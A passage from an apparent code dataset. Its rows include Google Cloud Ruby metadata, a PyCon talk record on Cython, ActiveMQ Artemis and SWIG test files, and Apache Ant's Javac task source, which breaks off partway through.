max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
549
<reponame>LaudateCorpus1/google-cloud-ruby { "generated": [ ".gitignore", ".repo-metadata.json", ".rubocop.yml", ".yardopts", "AUTHENTICATION.md", "CHANGELOG.md", "Gemfile", "LICENSE.md", "README.md", "Rakefile", "google-cloud-metastore.gemspec", "lib/google-cloud-metastore.rb", "lib/google/cloud/metastore.rb", "lib/google/cloud/metastore/version.rb", "test/google/cloud/metastore/client_test.rb", "test/google/cloud/metastore/version_test.rb", "test/helper.rb" ], "static": [ ".OwlBot.yaml" ] }
280
555
<gh_stars>100-1000 package com.github.steveice10.mc.protocol.data.game.world.notify; public interface ClientNotificationValue { }
45
435
<gh_stars>100-1000 { "copyright_text": null, "description": "Speed up your Python and link it with C\n\nCython is a tool that can convert regular Python modules, or Python with\nsome additional syntax, into C extension modules that can be imported\nfrom regular Python code.\n\nThis provides a significant speed improvement on most code, and\nadditionally allows the direct use of C functions within your code.\n\nIn this talk I plan to run through three use cases for Cython and how\nthese have helped me in projects that are either speed-sensitive or need\nto intermix with external C projects.\n\nThe talk should be suitable for anyone with good basic knowledge of\nregular Python or better -- cursory knowledge of C is useful but not\nneeded.", "duration": 1538, "language": "eng", "recorded": "2018-09-16", "related_urls": [ { "label": "Conference schedule", "url": "http://2018.pyconuk.org/schedule/" } ], "speakers": [ "<NAME>" ], "tags": [], "thumbnail_url": "https://i.ytimg.com/vi/O8StkTjhncU/maxresdefault.jpg", "title": "A Cython Walkthrough", "videos": [ { "type": "youtube", "url": "https://www.youtube.com/watch?v=O8StkTjhncU" } ] }
413
868
<filename>artemis-jms-client/src/main/java/org/apache/activemq/artemis/jms/client/ThreadAwareContext.java /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.activemq.artemis.jms.client; import javax.jms.IllegalStateException; import java.util.Set; import org.apache.activemq.artemis.utils.collections.ConcurrentHashSet; /** * Restricts what can be called on context passed in wrapped CompletionListener. */ public class ThreadAwareContext { /** * Necessary in order to assert some methods ({@link javax.jms.JMSContext#stop()} * {@link javax.jms.JMSContext#close()} etc) are not getting called from within a * {@link javax.jms.CompletionListener}. * * @see ThreadAwareContext#assertNotMessageListenerThread() */ private Thread completionListenerThread; /** * Use a set because JMSContext can create more than one JMSConsumer * to receive asynchronously from different destinations. */ private final Set<Long> messageListenerThreads = new ConcurrentHashSet<>(); /** * Sets current thread to the context * <p> * Meant to inform an JMSContext which is the thread that CANNOT call some of its methods. * </p> * * @param isCompletionListener : indicating whether current thread is from CompletionListener * or from MessageListener. */ public void setCurrentThread(boolean isCompletionListener) { if (isCompletionListener) { completionListenerThread = Thread.currentThread(); } else { messageListenerThreads.add(Thread.currentThread().getId()); } } /** * Clear current thread from the context * * @param isCompletionListener : indicating whether current thread is from CompletionListener * or from MessageListener. */ public void clearCurrentThread(boolean isCompletionListener) { if (isCompletionListener) { completionListenerThread = null; } else { messageListenerThreads.remove(Thread.currentThread().getId()); } } /** * Asserts a {@link javax.jms.CompletionListener} is not calling from its own {@link javax.jms.JMSContext}. * <p> * Note that the code must work without any need for further synchronization, as there is the * requirement that only one CompletionListener be called at a time. In other words, * CompletionListener calling is single-threaded. * * @see javax.jms.JMSContext#close() * @see javax.jms.JMSContext#stop() * @see javax.jms.JMSContext#commit() * @see javax.jms.JMSContext#rollback() */ public void assertNotCompletionListenerThreadRuntime() { if (completionListenerThread == Thread.currentThread()) { throw ActiveMQJMSClientBundle.BUNDLE.callingMethodFromCompletionListenerRuntime(); } } /** * Asserts a {@link javax.jms.CompletionListener} is not calling from its own {@link javax.jms.Connection} or from * a {@link javax.jms.MessageProducer} . * <p> * Note that the code must work without any need for further synchronization, as there is the * requirement that only one CompletionListener be called at a time. In other words, * CompletionListener calling is single-threaded. * * @see javax.jms.Connection#close() * @see javax.jms.MessageProducer#close() */ public void assertNotCompletionListenerThread() throws javax.jms.IllegalStateException { if (completionListenerThread == Thread.currentThread()) { throw ActiveMQJMSClientBundle.BUNDLE.callingMethodFromCompletionListener(); } } /** * Asserts a {@link javax.jms.MessageListener} is not calling from its own {@link javax.jms.JMSContext}. * <p> * Note that the code must work without any need for further synchronization, as there is the * requirement that only one MessageListener be called at a time. In other words, * MessageListener calling is single-threaded. * * @see javax.jms.JMSContext#close() * @see javax.jms.JMSContext#stop() */ public void assertNotMessageListenerThreadRuntime() { if (messageListenerThreads.contains(Thread.currentThread().getId())) { throw ActiveMQJMSClientBundle.BUNDLE.callingMethodFromListenerRuntime(); } } /** * Asserts a {@link javax.jms.MessageListener} is not calling from its own {@link javax.jms.Connection} or * {@link javax.jms.MessageConsumer}. * <p> * Note that the code must work without any need for further synchronization, as there is the * requirement that only one MessageListener be called at a time. In other words, * MessageListener calling is single-threaded. * * @see javax.jms.Connection#close() * @see javax.jms.MessageConsumer#close() */ public void assertNotMessageListenerThread() throws IllegalStateException { if (messageListenerThreads.contains(Thread.currentThread().getId())) { throw ActiveMQJMSClientBundle.BUNDLE.callingMethodFromListener(); } } }
1,952
1,031
<gh_stars>1000+ import director_enum class MyFoo(director_enum.Foo): def say_hi(self, val): return val b = director_enum.Foo() a = MyFoo() if a.say_hi(director_enum.hello) != b.say_hello(director_enum.hi): raise RuntimeError
103
364
<reponame>open-repos/apache-ant<filename>src/main/org/apache/tools/ant/taskdefs/Javac.java /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package org.apache.tools.ant.taskdefs; import java.io.File; import java.io.IOException; import java.io.OutputStream; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.util.ArrayList; import java.util.Collection; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.TreeMap; import org.apache.tools.ant.BuildException; import org.apache.tools.ant.DirectoryScanner; import org.apache.tools.ant.MagicNames; import org.apache.tools.ant.Project; import org.apache.tools.ant.taskdefs.compilers.CompilerAdapter; import org.apache.tools.ant.taskdefs.compilers.CompilerAdapterExtension; import org.apache.tools.ant.taskdefs.compilers.CompilerAdapterFactory; import org.apache.tools.ant.types.Path; import org.apache.tools.ant.types.Reference; import org.apache.tools.ant.util.FileUtils; import org.apache.tools.ant.util.GlobPatternMapper; import org.apache.tools.ant.util.JavaEnvUtils; import org.apache.tools.ant.util.SourceFileScanner; import org.apache.tools.ant.util.facade.FacadeTaskHelper; /** * Compiles Java source files. This task can take the following * arguments: * <ul> * <li>sourcedir * <li>destdir * <li>deprecation * <li>classpath * <li>bootclasspath * <li>extdirs * <li>optimize * <li>debug * <li>encoding * <li>target * <li>depend * <li>verbose * <li>failonerror * <li>includeantruntime * <li>includejavaruntime * <li>source * <li>compiler * <li>release * </ul> * Of these arguments, the <b>sourcedir</b> and <b>destdir</b> are required. * <p> * When this task executes, it will recursively scan the sourcedir and * destdir looking for Java source files to compile. This task makes its * compile decision based on timestamp. * * * @since Ant 1.1 * * @ant.task category="java" */ public class Javac extends MatchingTask { private static final String FAIL_MSG = "Compile failed; see the compiler error output for details."; private static final char GROUP_START_MARK = '{'; //modulesourcepath group start character private static final char GROUP_END_MARK = '}'; //modulesourcepath group end character private static final char GROUP_SEP_MARK = ','; //modulesourcepath group element separator character private static final String MODULE_MARKER = "*"; //modulesourcepath module name marker private static final FileUtils FILE_UTILS = FileUtils.getFileUtils(); private Path src; private File destDir; private File nativeHeaderDir; private Path compileClasspath; private Path modulepath; private Path upgrademodulepath; private Path compileSourcepath; private Path moduleSourcepath; private String encoding; private boolean debug = false; private boolean optimize = false; private boolean deprecation = false; private boolean depend = false; private boolean verbose = false; private String targetAttribute; private String release; private Path bootclasspath; private Path extdirs; private Boolean includeAntRuntime; private boolean includeJavaRuntime = false; private boolean fork = false; private String forkedExecutable = null; private boolean nowarn = false; private String memoryInitialSize; private String memoryMaximumSize; private FacadeTaskHelper facade = null; // CheckStyle:VisibilityModifier OFF - bc protected boolean failOnError = true; protected boolean listFiles = false; protected File[] compileList = new File[0]; private Map<String, Long> packageInfos = new HashMap<>(); // CheckStyle:VisibilityModifier ON private String source; private String debugLevel; private File tmpDir; private String updatedProperty; private String errorProperty; private boolean taskSuccess = true; // assume the best private boolean includeDestClasses = true; private CompilerAdapter nestedAdapter = null; private boolean createMissingPackageInfoClass = true; /** * Javac task for compilation of Java files. */ public Javac() { facade = new FacadeTaskHelper(assumedJavaVersion()); } private String assumedJavaVersion() { if (JavaEnvUtils.isJavaVersion(JavaEnvUtils.JAVA_1_8)) { return CompilerAdapterFactory.COMPILER_JAVAC_1_8; } if (JavaEnvUtils.isJavaVersion(JavaEnvUtils.JAVA_9)) { return CompilerAdapterFactory.COMPILER_JAVAC_9; } if (JavaEnvUtils.isAtLeastJavaVersion(JavaEnvUtils.JAVA_10)) { return CompilerAdapterFactory.COMPILER_JAVAC_10_PLUS; } // as we are assumed to be 1.8+ and classic refers to the really old ones, default to modern return CompilerAdapterFactory.COMPILER_MODERN; } /** * Get the value of debugLevel. * @return value of debugLevel. */ public String getDebugLevel() { return debugLevel; } /** * Keyword list to be appended to the -g command-line switch. * * This will be ignored by all implementations except modern * and classic(ver &gt;= 1.2). Legal values are none or a * comma-separated list of the following keywords: lines, vars, * and source. If debuglevel is not specified, by default, :none * will be appended to -g. If debug is not turned on, this attribute * will be ignored. * * @param v Value to assign to debugLevel. */ public void setDebugLevel(final String v) { this.debugLevel = v; } /** * Get the value of source. * @return value of source. */ public String getSource() { return source != null ? source : getProject().getProperty(MagicNames.BUILD_JAVAC_SOURCE); } /** * Value of the -source command-line switch; will be ignored by * all implementations except modern, jikes and gcj (gcj uses * -fsource). * * <p>If you use this attribute together with jikes or gcj, you * must make sure that your version of jikes supports the -source * switch.</p> * * <p>Legal values are 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9, and any integral number bigger than 4 * - by default, no -source argument will be used at all.</p> * * @param v Value to assign to source. */ public void setSource(final String v) { this.source = v; } /** * Adds a path for source compilation. * * @return a nested src element. */ public Path createSrc() { if (src == null) { src = new Path(getProject()); } return src.createPath(); } /** * Recreate src. * * @return a nested src element. */ protected Path recreateSrc() { src = null; return createSrc(); } /** * Set the source directories to find the source Java files. * @param srcDir the source directories as a path */ public void setSrcdir(final Path srcDir) { if (src == null) { src = srcDir; } else { src.append(srcDir); } } /** * Gets the source dirs to find the source java files. * @return the source directories as a path */ public Path getSrcdir() { return src; } /** * Set the destination directory into which the Java source * files should be compiled. * @param destDir the destination director */ public void setDestdir(final File destDir) { this.destDir = destDir; } /** * Gets the destination directory into which the java source files * should be compiled. * @return the destination directory */ public File getDestdir() { return destDir; } /** * Set the destination directory into which the generated native * header files should be placed. * @param nhDir where to place generated native header files * @since Ant 1.9.8 */ public void setNativeHeaderDir(final File nhDir) { this.nativeHeaderDir = nhDir; } /** * Gets the destination directory into which the generated native * header files should be placed. * @return where to place generated native header files * @since Ant 1.9.8 */ public File getNativeHeaderDir() { return nativeHeaderDir; } /** * Set the sourcepath to be used for this compilation. * @param sourcepath the source path */ public void setSourcepath(final Path sourcepath) { if (compileSourcepath == null) { compileSourcepath = sourcepath; } else { compileSourcepath.append(sourcepath); } } /** * Gets the sourcepath to be used for this compilation. * @return the source path */ public Path getSourcepath() { return compileSourcepath; } /** * Adds a path to sourcepath. * @return a sourcepath to be configured */ public Path createSourcepath() { if (compileSourcepath == null) { compileSourcepath = new Path(getProject()); } return compileSourcepath.createPath(); } /** * Adds a reference to a source path defined elsewhere. * @param r a reference to a source path */ public void setSourcepathRef(final Reference r) { createSourcepath().setRefid(r); } /** * Set the modulesourcepath to be used for this compilation. * @param msp the modulesourcepath * @since 1.9.7 */ public void setModulesourcepath(final Path msp) { if (moduleSourcepath == null) { moduleSourcepath = msp; } else { moduleSourcepath.append(msp); } } /** * Gets the modulesourcepath to be used for this compilation. * @return the modulesourcepath * @since 1.9.7 */ public Path getModulesourcepath() { return moduleSourcepath; } /** * Adds a path to modulesourcepath. * @return a modulesourcepath to be configured * @since 1.9.7 */ public Path createModulesourcepath() { if (moduleSourcepath == null) { moduleSourcepath = new Path(getProject()); } return moduleSourcepath.createPath(); } /** * Adds a reference to a modulesourcepath defined elsewhere. * @param r a reference to a modulesourcepath * @since 1.9.7 */ public void setModulesourcepathRef(final Reference r) { createModulesourcepath().setRefid(r); } /** * Set the classpath to be used for this compilation. * * @param classpath an Ant Path object containing the compilation classpath. */ public void setClasspath(final Path classpath) { if (compileClasspath == null) { compileClasspath = classpath; } else { compileClasspath.append(classpath); } } /** * Gets the classpath to be used for this compilation. * @return the class path */ public Path getClasspath() { return compileClasspath; } /** * Adds a path to the classpath. * @return a class path to be configured */ public Path createClasspath() { if (compileClasspath == null) { compileClasspath = new Path(getProject()); } return compileClasspath.createPath(); } /** * Adds a reference to a classpath defined elsewhere. * @param r a reference to a classpath */ public void setClasspathRef(final Reference r) { createClasspath().setRefid(r); } /** * Set the modulepath to be used for this compilation. * @param mp an Ant Path object containing the modulepath. * @since 1.9.7 */ public void setModulepath(final Path mp) { if (modulepath == null) { modulepath = mp; } else { modulepath.append(mp); } } /** * Gets the modulepath to be used for this compilation. * @return the modulepath * @since 1.9.7 */ public Path getModulepath() { return modulepath; } /** * Adds a path to the modulepath. * @return a modulepath to be configured * @since 1.9.7 */ public Path createModulepath() { if (modulepath == null) { modulepath = new Path(getProject()); } return modulepath.createPath(); } /** * Adds a reference to a modulepath defined elsewhere. * @param r a reference to a modulepath * @since 1.9.7 */ public void setModulepathRef(final Reference r) { createModulepath().setRefid(r); } /** * Set the upgrademodulepath to be used for this compilation. * @param ump an Ant Path object containing the upgrademodulepath. * @since 1.9.7 */ public void setUpgrademodulepath(final Path ump) { if (upgrademodulepath == null) { upgrademodulepath = ump; } else { upgrademodulepath.append(ump); } } /** * Gets the upgrademodulepath to be used for this compilation. * @return the upgrademodulepath * @since 1.9.7 */ public Path getUpgrademodulepath() { return upgrademodulepath; } /** * Adds a path to the upgrademodulepath. * @return an upgrademodulepath to be configured * @since 1.9.7 */ public Path createUpgrademodulepath() { if (upgrademodulepath == null) { upgrademodulepath = new Path(getProject()); } return upgrademodulepath.createPath(); } /** * Adds a reference to the upgrademodulepath defined elsewhere. * @param r a reference to an upgrademodulepath * @since 1.9.7 */ public void setUpgrademodulepathRef(final Reference r) { createUpgrademodulepath().setRefid(r); } /** * Sets the bootclasspath that will be used to compile the classes * against. * @param bootclasspath a path to use as a boot class path (may be more * than one) */ public void setBootclasspath(final Path bootclasspath) { if (this.bootclasspath == null) { this.bootclasspath = bootclasspath; } else { this.bootclasspath.append(bootclasspath); } } /** * Gets the bootclasspath that will be used to compile the classes * against. * @return the boot path */ public Path getBootclasspath() { return bootclasspath; } /** * Adds a path to the bootclasspath. * @return a path to be configured */ public Path createBootclasspath() { if (bootclasspath == null) { bootclasspath = new Path(getProject()); } return bootclasspath.createPath(); } /** * Adds a reference to a classpath defined elsewhere. * @param r a reference to a classpath */ public void setBootClasspathRef(final Reference r) { createBootclasspath().setRefid(r); } /** * Sets the extension directories that will be used during the * compilation. * @param extdirs a path */ public void setExtdirs(final Path extdirs) { if (this.extdirs == null) { this.extdirs = extdirs; } else { this.extdirs.append(extdirs); } } /** * Gets the extension directories that will be used during the * compilation. * @return the extension directories as a path */ public Path getExtdirs() { return extdirs; } /** * Adds a path to extdirs. * @return a path to be configured */ public Path createExtdirs() { if (extdirs == null) { extdirs = new Path(getProject()); } return extdirs.createPath(); } /** * If true, list the source files being handed off to the compiler. * @param list if true list the source files */ public void setListfiles(final boolean list) { listFiles = list; } /** * Get the listfiles flag. * @return the listfiles flag */ public boolean getListfiles() { return listFiles; } /** * Indicates whether the build will continue * even if there are compilation errors; defaults to true. * @param fail if true halt the build on failure */ public void setFailonerror(final boolean fail) { failOnError = fail; } /** * @ant.attribute ignore="true" * @param proceed inverse of failoferror */ public void setProceed(final boolean proceed) { failOnError = !proceed; } /** * Gets the failonerror flag. * @return the failonerror flag */ public boolean getFailonerror() { return failOnError; } /** * Indicates whether source should be * compiled with deprecation information; defaults to off. * @param deprecation if true turn on deprecation information */ public void setDeprecation(final boolean deprecation) { this.deprecation = deprecation; } /** * Gets the deprecation flag. * @return the deprecation flag */ public boolean getDeprecation() { return deprecation; } /** * The initial size of the memory for the underlying VM * if javac is run externally; ignored otherwise. * Defaults to the standard VM memory setting. * (Examples: 83886080, 81920k, or 80m) * @param memoryInitialSize string to pass to VM */ public void setMemoryInitialSize(final String memoryInitialSize) { this.memoryInitialSize = memoryInitialSize; } /** * Gets the memoryInitialSize flag. * @return the memoryInitialSize flag */ public String getMemoryInitialSize() { return memoryInitialSize; } /** * The maximum size of the memory for the underlying VM * if javac is run externally; ignored otherwise. * Defaults to the standard VM memory setting. * (Examples: 83886080, 81920k, or 80m) * @param memoryMaximumSize string to pass to VM */ public void setMemoryMaximumSize(final String memoryMaximumSize) { this.memoryMaximumSize = memoryMaximumSize; } /** * Gets the memoryMaximumSize flag. * @return the memoryMaximumSize flag */ public String getMemoryMaximumSize() { return memoryMaximumSize; } /** * Set the Java source file encoding name. * @param encoding the source file encoding */ public void setEncoding(final String encoding) { this.encoding = encoding; } /** * Gets the java source file encoding name. * @return the source file encoding name */ public String getEncoding() { return encoding; } /** * Indicates whether source should be compiled * with debug information; defaults to off. * @param debug if true compile with debug information */ public void setDebug(final boolean debug) { this.debug = debug; } /** * Gets the debug flag. * @return the debug flag */ public boolean getDebug() { return debug; } /** * If true, compiles with optimization enabled. * @param optimize if true compile with optimization enabled */ public void setOptimize(final boolean optimize) { this.optimize = optimize; } /** * Gets the optimize flag. * @return the optimize flag */ public boolean getOptimize() { return optimize; } /** * Enables dependency-tracking for compilers * that support this (jikes and classic). * @param depend if true enable dependency-tracking */ public void setDepend(final boolean depend) { this.depend = depend; } /** * Gets the depend flag. * @return the depend flag */ public boolean getDepend() { return depend; } /** * If true, asks the compiler for verbose output. * @param verbose if true, asks the compiler for verbose output */ public void setVerbose(final boolean verbose) { this.verbose = verbose; } /** * Gets the verbose flag. * @return the verbose flag */ public boolean getVerbose() { return verbose; } /** * Sets the target VM that the classes will be compiled for. Valid * values depend on the compiler, for jdk 1.4 the valid values are * "1.1", "1.2", "1.3", "1.4", "1.5", "1.6", "1.7", "1.8", "1.9" and any integral number bigger than 4 * @param target the target VM */ public void setTarget(final String target) { this.targetAttribute = target; } /** * Gets the target VM that the classes will be compiled for. * @return the target VM */ public String getTarget() { return targetAttribute != null ? targetAttribute : getProject().getProperty(MagicNames.BUILD_JAVAC_TARGET); } /** * Sets the version to use for the {@code --release} switch that * combines {@code source}, {@code target} and setting the * bootclasspath. * * Values depend on the compiler, for jdk 9 the valid values are * "6", "7", "8", "9". * @param release the value of the release attribute * @since Ant 1.9.8 */ public void setRelease(final String release) { this.release = release; } /** * Gets the version to use for the {@code --release} switch that * combines {@code source}, {@code target} and setting the * bootclasspath. * * @return the value of the release attribute * @since Ant 1.9.8 */ public String getRelease() { return release; } /** * If true, includes Ant's own classpath in the classpath. * @param include if true, includes Ant's own classpath in the classpath */ public void setIncludeantruntime(final boolean include) { includeAntRuntime = include; } /** * Gets whether or not the ant classpath is to be included in the classpath. * @return whether or not the ant classpath is to be included in the classpath */ public boolean getIncludeantruntime() { return includeAntRuntime == null || includeAntRuntime; } /** * If true, includes the Java runtime libraries in the classpath. * @param include if true, includes the Java runtime libraries in the classpath */ public void setIncludejavaruntime(final boolean include) { includeJavaRuntime = include; } /** * Gets whether or not the java runtime should be included in this * task's classpath. * @return the includejavaruntime attribute */ public boolean getIncludejavaruntime() { return includeJavaRuntime; } /** * If true, forks the javac compiler. * * @param f "true|false|on|off|yes|no" */ public void setFork(final boolean f) { fork = f; } /** * Sets the name of the javac executable. * * <p>Ignored unless fork is true or extJavac has been specified * as the compiler.</p> * @param forkExec the name of the executable */ public void setExecutable(final String forkExec) { forkedExecutable = forkExec; } /** * The value of the executable attribute, if any. * * @since Ant 1.6 * @return the name of the java executable */ public String getExecutable() { return forkedExecutable; } /** * Is this a forked invocation of JDK's javac? * @return true if this is a forked invocation */ public boolean isForkedJavac() { return fork || CompilerAdapterFactory.isForkedJavac(getCompiler()); } /** * The name of the javac executable to use in fork-mode. * * <p>This is either the name specified with the executable * attribute or the full path of the javac compiler of the VM Ant * is currently running in - guessed by Ant.</p> * * <p>You should <strong>not</strong> invoke this method if you * want to get the value of the executable command - use {@link * #getExecutable getExecutable} for this.</p> * @return the name of the javac executable */ public String getJavacExecutable() { if (forkedExecutable == null && isForkedJavac()) { forkedExecutable = getSystemJavac(); } else if (forkedExecutable != null && !isForkedJavac()) { forkedExecutable = null; } return forkedExecutable; } /** * If true, enables the -nowarn option. * @param flag if true, enable the -nowarn option */ public void setNowarn(final boolean flag) { this.nowarn = flag; } /** * Should the -nowarn option be used. * @return true if the -nowarn option should be used */ public boolean getNowarn() { return nowarn; } /** * Adds an implementation specific command-line argument. * @return a ImplementationSpecificArgument to be configured */ public ImplementationSpecificArgument createCompilerArg() { final ImplementationSpecificArgument arg = new ImplementationSpecificArgument(); facade.addImplementationArgument(arg); return arg; } /** * Get the additional implementation specific command line arguments. * @return array of command line arguments, guaranteed to be non-null. */ public String[] getCurrentCompilerArgs() { final String chosen = facade.getExplicitChoice(); try { // make sure facade knows about magic properties and fork setting final String appliedCompiler = getCompiler(); facade.setImplementation(appliedCompiler); String[] result = facade.getArgs(); final String altCompilerName = getAltCompilerName(facade.getImplementation()); if (result.length == 0 && altCompilerName != null) { facade.setImplementation(altCompilerName); result = facade.getArgs(); } return result; } finally { facade.setImplementation(chosen); } } private String getAltCompilerName(final String anImplementation) { if (CompilerAdapterFactory.isModernJdkCompiler(anImplementation)) { return CompilerAdapterFactory.COMPILER_MODERN; } if (CompilerAdapterFactory.isClassicJdkCompiler(anImplementation)) { return CompilerAdapterFactory.COMPILER_CLASSIC; } if (CompilerAdapterFactory.COMPILER_MODERN.equalsIgnoreCase(anImplementation)) { final String nextSelected = assumedJavaVersion(); if (CompilerAdapterFactory.isModernJdkCompiler(nextSelected)) { return nextSelected; } } if (CompilerAdapterFactory.COMPILER_CLASSIC.equalsIgnoreCase(anImplementation)) { return assumedJavaVersion(); } if (CompilerAdapterFactory.isForkedJavac(anImplementation)) { return assumedJavaVersion(); } return null; } /** * Where Ant should place temporary files. * * @since Ant 1.6 * @param tmpDir the temporary directory */ public void setTempdir(final File tmpDir) { this.tmpDir = tmpDir; } /** * Where Ant should place temporary files. * * @since Ant 1.6 * @return the temporary directory */ public File getTempdir() { return tmpDir; } /** * The property to set on compilation success. * This property will not be set if the compilation * fails, or if there are no files to compile. * @param updatedProperty the property name to use. * @since Ant 1.7.1. */ public void setUpdatedProperty(final String updatedProperty) { this.updatedProperty = updatedProperty; } /** * The property to set on compilation failure. * This property will be set if the compilation * fails. * @param errorProperty the property name to use. * @since Ant 1.7.1. */ public void setErrorProperty(final String errorProperty) { this.errorProperty = errorProperty; } /** * This property controls whether to include the * destination classes directory in the classpath * given to the compiler. * The default value is "true". * @param includeDestClasses the value to use. */ public void setIncludeDestClasses(final boolean includeDestClasses) { this.includeDestClasses = includeDestClasses; } /** * Get the value of the includeDestClasses property. * @return the value. */ public boolean isIncludeDestClasses() { return includeDestClasses; } /** * Get the result of the javac task (success or failure). * @return true if compilation succeeded, or * was not necessary, false if the compilation failed. */ public boolean getTaskSuccess() { return taskSuccess; } /** * The classpath to use when loading the compiler implementation * if it is not a built-in one. * * @return Path * @since Ant 1.8.0 */ public Path createCompilerClasspath() { return facade.getImplementationClasspath(getProject()); } /** * Set the compiler adapter explicitly. * * @param adapter CompilerAdapter * @since Ant 1.8.0 */ public void add(final CompilerAdapter adapter) { if (nestedAdapter != null) { throw new BuildException( "Can't have more than one compiler adapter"); } nestedAdapter = adapter; } /** * Whether package-info.class files will be created by Ant * matching package-info.java files that have been compiled but * didn't create class files themselves. * * @param b boolean * @since Ant 1.8.3 */ public void setCreateMissingPackageInfoClass(final boolean b) { createMissingPackageInfoClass = b; } /** * Executes the task. * @exception BuildException if an error occurs */ @Override public void execute() throws BuildException { checkParameters(); resetFileLists(); // scan source directories and dest directory to build up // compile list if (hasPath(src)) { collectFileListFromSourcePath(); } else { assert hasPath(moduleSourcepath) : "Either srcDir or moduleSourcepath must be given"; collectFileListFromModulePath(); } compile(); if (updatedProperty != null && taskSuccess && compileList.length != 0) { getProject().setNewProperty(updatedProperty, "true"); } } /** * Clear the list of files to be compiled and copied.. */ protected void resetFileLists() { compileList = new File[0]; packageInfos = new HashMap<>(); } /** * Scans the directory looking for source files to be compiled. * The results are returned in the class variable compileList * * @param srcDir The source directory * @param destDir The destination directory * @param files An array of filenames */ protected void scanDir(final File srcDir, final File destDir, final String[] files) { final GlobPatternMapper m = new GlobPatternMapper(); for (String extension : findSupportedFileExtensions()) { m.setFrom(extension); m.setTo("*.class"); final SourceFileScanner sfs = new SourceFileScanner(this); final File[] newFiles = sfs.restrictAsFiles(files, srcDir, destDir, m); if (newFiles.length > 0) { lookForPackageInfos(srcDir, newFiles); final File[] newCompileList = new File[compileList.length + newFiles.length]; System.arraycopy(compileList, 0, newCompileList, 0, compileList.length); System.arraycopy(newFiles, 0, newCompileList, compileList.length, newFiles.length); compileList = newCompileList; } } } private void collectFileListFromSourcePath() { for (String filename : src.list()) { final File srcDir = getProject().resolveFile(filename); if (!srcDir.exists()) { throw new BuildException("srcdir \"" + srcDir.getPath() + "\" does not exist!", getLocation()); } final DirectoryScanner ds = this.getDirectoryScanner(srcDir); scanDir(srcDir, destDir != null ? destDir : srcDir, ds.getIncludedFiles()); } } private void collectFileListFromModulePath() { final FileUtils fu = FileUtils.getFileUtils(); for (String pathElement : moduleSourcepath.list()) { boolean valid = false; for (Map.Entry<String, Collection<File>> modules : resolveModuleSourcePathElement( getProject().getBaseDir(), pathElement).entrySet()) { final String moduleName = modules.getKey(); for (File srcDir : modules.getValue()) { if (srcDir.exists()) { valid = true; final DirectoryScanner ds = getDirectoryScanner(srcDir); final String[] files = ds.getIncludedFiles(); scanDir(srcDir, fu.resolveFile(destDir, moduleName), files); } } } if (!valid) { throw new BuildException("modulesourcepath \"" + pathElement + "\" does not exist!", getLocation()); } } } private String[] findSupportedFileExtensions() { final String compilerImpl = getCompiler(); final CompilerAdapter adapter = nestedAdapter != null ? nestedAdapter : CompilerAdapterFactory.getCompiler(compilerImpl, this, createCompilerClasspath()); String[] extensions = null; if (adapter instanceof CompilerAdapterExtension) { extensions = ((CompilerAdapterExtension) adapter).getSupportedFileExtensions(); } if (extensions == null) { extensions = new String[] {"java"}; } // now process the extensions to ensure that they are the // right format for (int i = 0; i < extensions.length; i++) { if (!extensions[i].startsWith("*.")) { extensions[i] = "*." + extensions[i]; } } return extensions; } /** * Gets the list of files to be compiled. * @return the list of files as an array */ public File[] getFileList() { return compileList; } /** * Is the compiler implementation a jdk compiler * * @param compilerImpl the name of the compiler implementation * @return true if compilerImpl is "modern", "classic", * "javac1.1", "javac1.2", "javac1.3", "javac1.4", "javac1.5", * "javac1.6", "javac1.7", "javac1.8", "javac1.9", "javac9" or "javac10+". */ protected boolean isJdkCompiler(final String compilerImpl) { return CompilerAdapterFactory.isJdkCompiler(compilerImpl); } /** * @return the executable name of the java compiler */ protected String getSystemJavac() { return JavaEnvUtils.getJdkExecutable("javac"); } /** * Choose the implementation for this particular task. * @param compiler the name of the compiler * @since Ant 1.5 */ public void setCompiler(final String compiler) { facade.setImplementation(compiler); } /** * The implementation for this particular task. * * <p>Defaults to the build.compiler property but can be overridden * via the compiler and fork attributes.</p> * * <p>If fork has been set to true, the result will be extJavac * and not classic or java1.2 - no matter what the compiler * attribute looks like.</p> * * @see #getCompilerVersion * @return the compiler. * @since Ant 1.5 */ public String getCompiler() { String compilerImpl = getCompilerVersion(); if (fork) { if (isJdkCompiler(compilerImpl)) { compilerImpl = CompilerAdapterFactory.COMPILER_EXTJAVAC; } else { log("Since compiler setting isn't classic or modern, ignoring fork setting.", Project.MSG_WARN); } } return compilerImpl; } /** * The implementation for this particular task. * * <p>Defaults to the build.compiler property but can be overridden * via the compiler attribute.</p> * * <p>This method does not take the fork attribute into * account.</p> * * @see #getCompiler * @return the compiler. * * @since Ant 1.5 */ public String getCompilerVersion() { facade.setMagicValue(getProject().getProperty("build.compiler")); return facade.getImplementation(); } /** * Check that all required attributes have been set and nothing * silly has been entered. * * @since Ant 1.5 * @exception BuildException if an error occurs */ protected void checkParameters() throws BuildException { if (hasPath(src)) { if (hasPath(moduleSourcepath)) { throw new BuildException("modulesourcepath cannot be combined with srcdir attribute!", getLocation()); } } else if (hasPath(moduleSourcepath)) { if (hasPath(src) || hasPath(compileSourcepath)) { throw new BuildException("modulesourcepath cannot be combined with srcdir or sourcepath !", getLocation()); } if (destDir == null) { throw new BuildException("modulesourcepath requires destdir attribute to be set!", getLocation()); } } else { throw new BuildException("either srcdir or modulesourcepath attribute must be set!", getLocation()); } if (destDir != null && 